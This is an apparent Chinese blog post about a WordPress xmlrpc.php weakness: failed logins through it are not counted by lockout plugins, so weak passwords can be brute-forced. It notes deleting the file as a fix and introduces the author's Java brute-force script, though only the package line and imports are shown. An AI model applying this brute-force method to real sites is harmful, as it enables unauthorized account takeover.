wordpress是很流行的开源博客，它提供远程发布文章的方法，就是使用跟路径的xmlrpc.php这个文件，最近爆出xmlrpc漏洞，漏洞原理是通过xmlrpc进行认证，即使认证失败，也不会被Wordpress安装的安全插件记录，所以不会触发密码输错N次被锁定的情况。因此就可能被暴力破解，如果密码又是弱口令的话，就相当危险了。最简单的解决办法，就是删除xmlrpc.php这个文件。闲来无事，用java写了暴力破解的脚本，其实就是拿着各种用户名、密码去不断调用xmlrpc.phpp这个文件，检测认证结果，很简单。只为娱乐，暴力破解的事情，大家慎重。
Xmlrpc.java源码如下：
package com.yeetrack.security.wordpress;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.testng.annotations.Test;
import java.io.*;
